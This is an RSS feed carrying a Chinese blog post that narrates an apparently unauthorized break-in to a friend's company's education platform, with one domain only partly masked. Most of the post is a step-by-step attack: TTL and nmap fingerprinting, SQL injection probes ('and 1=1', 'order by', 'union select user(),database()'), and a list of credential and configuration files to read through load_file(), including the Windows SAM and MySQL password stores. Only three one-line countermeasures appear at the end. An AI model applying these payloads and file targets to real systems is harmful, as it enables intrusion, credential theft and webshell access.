<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[沧海一粟]]></title> 
<link>http://www.dzhope.com/index.php</link> 
<description><![CDATA[Web系统架构与服务器运维,php开发]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[沧海一粟]]></copyright>
<item>
<link>http://www.dzhope.com/post//</link>
<title><![CDATA[记一次Linux系统PHP注入入侵检测 ]]></title> 
<author>jed &lt;jed521@163.com&gt;</author>
<category><![CDATA[服务器技术]]></category>
<pubDate>Mon, 03 Jan 2011 06:11:08 +0000</pubDate> 
<guid>http://www.dzhope.com/post//</guid> 
<description>
<![CDATA[ 
	<p><strong>题记：</strong></p><p>一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去&hellip;&hellip;</p><p><span style="color: #008000"><strong>第一步：获取需要的信息</strong></span></p><p>由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。</p><p>注：以下为保护特用XXX代替敏感信息</p><p><strong>顺手先PING了一下他们的域名：</strong></p><blockquote><p>ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）</p><p>64 bytes from *********: icmp_seq=1<strong> ttl=246</strong> time=1.87 ms</p></blockquote><p>顺便了解一下TTL，学好基础知识才能一路顺风：</p><blockquote><p><strong>TTL：(Time To Live ) 生存时间</strong><br />指定数据包被路由器丢弃之前允许通过的网段数量。<br />TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。<br />使用PING时涉及到的 ICMP 报文类型<br />一个为ICMP请求回显（ICMP Echo Request）<br />一个为ICMP回显应答（ICMP Echo Reply）<br />TTL 字段值可以帮助我们识别操作系统类型。<br />UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255<br />Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64<br />微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128<br />微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32<br />当然，返回的TTL值是相同的<br />但有些情况下有所特殊<br />LINUX Kernel 2.2.x &amp; 2.4.x ICMP 回显应答的 TTL 字段值为 64<br />FreeBSD 4.1, 4.0, 3.4;<br />Sun Solaris 2.5.1, 2.6, 2.7, 2.8;<br />OpenBSD 2.6, 2.7,<br />NetBSD<br />HP UX 10.20<br />ICMP 回显应答的 TTL 字段值为 255<br />Windows 95/98/98SE<br />Windows ME<br />ICMP 回显应答的 TTL 字段值为 32<br />Windows NT4 WRKS<br />Windows NT4 Server<br />Windows 2000<br />Windows XP<br />ICMP 回显应答的 TTL 字段值为 128<br />这样，我们就可以通过这种方法来辨别操作系统<br />TTL值的注册表位置HKEY_LOCAL_MACHINE&#92;SYSTEM &#92;CurrentControlSet&#92;Services&#92;Tcpip&#92;Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255</p></blockquote><p><strong>用NMAP扫描一下：</strong></p><blockquote><p>nmap -sT -O XXX.XXX.XXX.XXX</p></blockquote><p>如果没有装WinPcap则会弹出提示：</p><blockquote><p>WARNING: Could not import all necessary WinPcap functions. You may need to upgr<br />ade to version 3.1 or higher from <a target="_blank" href="http://www.winpcap.org. "><a href="http://www.winpcap.org." target="_blank">http://www.winpcap.org.</a> </a>Resorting to connect(<br />) mode &mdash; Nmap may not function completely<br />TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher<br />and iphlpapi.dll be installed. You seem to be missing one or both of these. Win<br />pcap is available from <a target="_blank" href="http://www.winpcap.org. "><a href="http://www.winpcap.org." target="_blank">http://www.winpcap.org.</a> </a>iphlpapi.dll comes with Win98 an<br />d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v<br />ersions, you may be able to take iphlpapi.dll from another system and place it i<br />n your system32 dir (e.g. c:&#92;windows&#92;system32).<br />QUITTING!</p></blockquote><p>到这里下载： <a target="_blank" href="http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe"><a href="http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe" target="_blank">http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe</a></a></p><p>安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：</p><blockquote><p>Interesting ports on XXX.XXX.XXX.XXX:<br />Not shown: 986 closed ports<br />PORT STATE SERVICE<br />21/tcp open ftp<br />22/tcp open ssh<br />23/tcp open telnet<br />80/tcp open http<br />111/tcp open rpcbind<br />135/tcp filtered msrpc<br />139/tcp filtered netbios-ssn<br />445/tcp filtered microsoft-ds<br />513/tcp open login<br />514/tcp open shell<br />593/tcp filtered http-rpc-epmap<br />1720/tcp filtered H.323/Q.931<br />3306/tcp open mysql<br />4444/tcp filtered krb524<br />Device type: WAP<br />Running: Linux 2.4.X<br />OS details: DD-WRT (Linux 2.4.35s)<br />Network Distance: 13 hops</p></blockquote><p><strong>看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：</strong></p><blockquote><p>login as:</p></blockquote><p><strong>Telnet23端口也是开着的，用telnet 命令链接一下：</strong></p><blockquote><p>telnet XXX.XXX.XXX.XXX</p><p>提示：</p><p>Red Hat Enterprise Linux Server release 5.2 (Tikanga)<br />Kernel 2.6.18-92.el5PAE on an i686<br />login:</p></blockquote><p><strong>获取HTTP头信息：</strong></p><p>在本地执行如下PHP代码</p><blockquote><p>&lt;?php<br />$url = &lsquo;XXX.XXX.XXX.XXX&rsquo;;<br />print_r(get_headers($url));<br />print_r(get_headers($url, 1));<br />?&gt;</p></blockquote><p>将以上代码保存为PHP文件，执行：</p><blockquote><p>Array ( [0] =&gt; HTTP/1.1 200 OK [1] =&gt; Server: nginx/0.7.61 [2] =&gt; Date: Mon, 02 Nov 2009 09:06:48 GMT [3] =&gt; Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] =&gt; Content-Length: 75 [5] =&gt; Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] =&gt; Connection: close [7] =&gt; Accept-Ranges: bytes ) Array ( [0] =&gt; HTTP/1.1 200 OK [Server] =&gt; nginx/0.7.61 [Date] =&gt; Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] =&gt; text/html; charset=gb2312,gbk,utf-8 [Content-Length] =&gt; 75 [Last-Modified] =&gt; Thu, 20 Aug 2009 19:35:37 GMT [Connection] =&gt; close [Accept-Ranges] =&gt; bytes )</p></blockquote><p><strong>现在可以得出结论：</strong></p><p>系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)</p><p>内核版本：Kernel 2.6.18-92.el5PAE on an i686</p><p>WEB服务器版本：nginx/0.7.61</p><p><span style="color: #008000"><strong>第二步，开始测试寻找漏洞</strong></span></p><p>分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。</p><p>1、<strong>敏感地址</strong>：站内存在有类似：<strong><a target="_blank" href="http://www.fovweb.com/"><a href="http://www.fovweb.com/" target="_blank">http://www.fovweb.com/</a></a></strong><strong>/XXX.php?id=123</strong> 这种地址，属动态传参的</p><p>2、<strong>测试方法：</strong>在地址后加 and 1=1 和 and 1=2 测试</p><p><a target="_blank" href="http://www.fovweb.com/XXX.php?id=123"><a href="http://www.fovweb.com/XXX.php?id=123" target="_blank">http://www.fovweb.com/XXX.php?id=123</a></a> <strong>and 1=1</strong> 返回正常</p><p><a target="_blank" href="http://www.fovweb.com/XXX.php?id=123"><a href="http://www.fovweb.com/XXX.php?id=123" target="_blank">http://www.fovweb.com/XXX.php?id=123</a></a> <strong>and 1=2</strong> 返回错误</p><p>恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续</p><p><strong>3、</strong><strong>手工注入：</strong></p><p>注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。</p><p><strong>3.1 猜测当前表字段数</strong></p><p><a target="_blank" href="http://www.fovweb.com/XXX.php?id=123"><a href="http://www.fovweb.com/XXX.php?id=123" target="_blank">http://www.fovweb.com/XXX.php?id=123</a></a> <strong>and 1=1 order by<span style="color: #339966"> 10</span></strong></p><p>此处猜测有个简单的算法，都是有技巧的吗，呵呵</p><p>算法简单如下：</p><p>第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；</p><p>第二步：<strong>取中算法</strong>，好比是10，如果返回错误，则取中间值5进行下一次猜测；</p><p><strong>需要注意：</strong>如果所选数值在字段数范围内即小于等于，则会（<strong>返回正常</strong>）；如果所选数值在字段范围外即大于等于，则会（返回错误）。</p><p>以此来判断，是否过界，配合取中算法猜出字段数。</p><p><strong>举例</strong>：</p><p><a target="_blank" href="http://www.fovweb.com/XXX.php?id=123"><a href="http://www.fovweb.com/XXX.php?id=123" target="_blank">http://www.fovweb.com/XXX.php?id=123</a></a> <strong>and 1=1 order by<span style="color: #339966"> <span style="color: #008000">3</span> </span></strong>返回正常</p><p><a target="_blank" href="http://www.fovweb.com/XXX.php?id=123"><a href="http://www.fovweb.com/XXX.php?id=123" target="_blank">http://www.fovweb.com/XXX.php?id=123</a></a> <strong>and 1=1 order by<span style="color: #339966"> <span style="color: #ff0000">4</span> </span></strong>返回错误</p><p>此时<strong><span style="color: #339966"><span style="color: #008000">3</span></span></strong><span style="color: #339966"><span style="color: #008000"><span style="color: #000000">则为我们要找的字段数。</span></span></span></p><p><strong>3.2 配合union联合查询字段在页面所位置</strong></p><p>我们已经知道了字段数为<strong>3</strong>，此时则可以做如下操作：</p><p><a target="_blank" href="http://www.fovweb.com/XXX.php?id=123"><a href="http://www.fovweb.com/XXX.php?id=123" target="_blank">http://www.fovweb.com/XXX.php?id=123</a></a> and 1=2 union <strong>select 1,2,3</strong></p><p>这样就可以测试到哪些字段在页面上有所显示了，如图：</p><p style="text-align: center"><img class="aligncenter size-medium wp-image-1617" title="配合union联合查询字段在页面所位置" alt="" width="500" height="92" src="http://img.fovweb.com/2010/06/9c3b_ded1_liunx-ids-sql.jpg" /></p><p><strong>3.3 查敏感信息</strong></p><p>这也是个思路问题，我们需要什么，<strong>其实到了这一步已经能做什么多事情了</strong>。</p><p><a target="_blank" href="http://www.fovweb.com/XXX.php?id=123"><a href="http://www.fovweb.com/XXX.php?id=123" target="_blank">http://www.fovweb.com/XXX.php?id=123</a></a> and 1=2 union <strong>select 1,user(),database()</strong></p><p>3.3.1 先查数据库用户、数据库名，以备后用，如图：</p><p style="text-align: center"><img class="aligncenter size-full wp-image-1618" title="查数据库用户、数据库名" alt="" width="500" height="100" src="http://img.fovweb.com/2010/06/c9d0_993b_liunx-ids-sql-database.jpg" /></p><p>得到数据库用户为root、数据库名为DBxx；</p><p><strong>3.3.2 查配置文件</strong></p><p>查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。</p><p>查看文件有一定的条件限制：</p><ul>&nbsp;&nbsp;&nbsp;&nbsp;<li>欲读取文件必须在服务器上</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>必须指定文件完整的路径</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>必须有权限读取并且文件必须完全可读</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>欲读取文件必须小于 max_allowed_packet</li></ul><p>MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。</p><blockquote><p>常用的一些：<br />/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件<br />/usr/local/apache2/conf/httpd.conf<br />/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置<br />/usr/local/app/php5/lib/php.ini //PHP相关设置<br />/etc/sysconfig/iptables //从中得到防火墙规则策略<br />/etc/httpd/conf/httpd.conf // apache配置文件<br />/etc/rsyncd.conf //同步程序配置文件<br />/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.<br />/etc/my.cnf //mysql的配置文件<br />/etc/redhat-release //系统版本</p><p>/etc/issue<br />/etc/issue.net<br />c:&#92;mysql&#92;data&#92;mysql&#92;user.MYD //存储了mysql.user表中的数据库连接密码<br />c:&#92;Program Files&#92;RhinoSoft.com&#92;Serv-U&#92;ServUDaemon.ini //存储了虚拟主机网站路径和密码<br />c:&#92;Program Files&#92;Serv-U&#92;ServUDaemon.ini<br />c:&#92;windows&#92;my.ini //MYSQL配置文件<br />c:&#92;windows&#92;system32&#92;inetsrv&#92;MetaBase.xml //IIS配置文件</p><p>等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，</p><p>c:&#92;windows&#92;repair&#92;sam //存储了WINDOWS系统初次安装的密码<br />c:&#92;Program Files&#92; Serv-U&#92;ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此<br />c:&#92;Program Files&#92;RhinoSoft.com&#92;ServUDaemon.exe<br />C:&#92;Documents and Settings&#92;All Users&#92;Application Data&#92;Symantec&#92;pcAnywhere&#92;*.cif文件<br />//存储了pcAnywhere的登陆密码</p></blockquote><p>由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。</p><p>这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径&ldquo;/usr/local/nginx/conf/nginx.conf&rdquo;。</p><p><strong>最后：防范措施</strong></p><p>1、修复PHP注入漏洞；</p><p>2、Mysql使用普通权限的用户；</p><p>3、升级linux内核至最新版本；</p><!-- Added by RelatedTopic, plugin for Bo-Blog 2.0.0 --><br/>Tags - <a href="http://www.dzhope.com/tags/%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8%25E5%25AE%2589%25E5%2585%25A8/" rel="tag">服务器安全</a> , <a href="http://www.dzhope.com/tags/php%25E6%25B3%25A8%25E5%2585%25A5/" rel="tag">php注入</a>
]]>
</description>
</item><item>
<link>http://www.dzhope.com/post//#blogcomment</link>
<title><![CDATA[[评论] 记一次Linux系统PHP注入入侵检测 ]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.dzhope.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>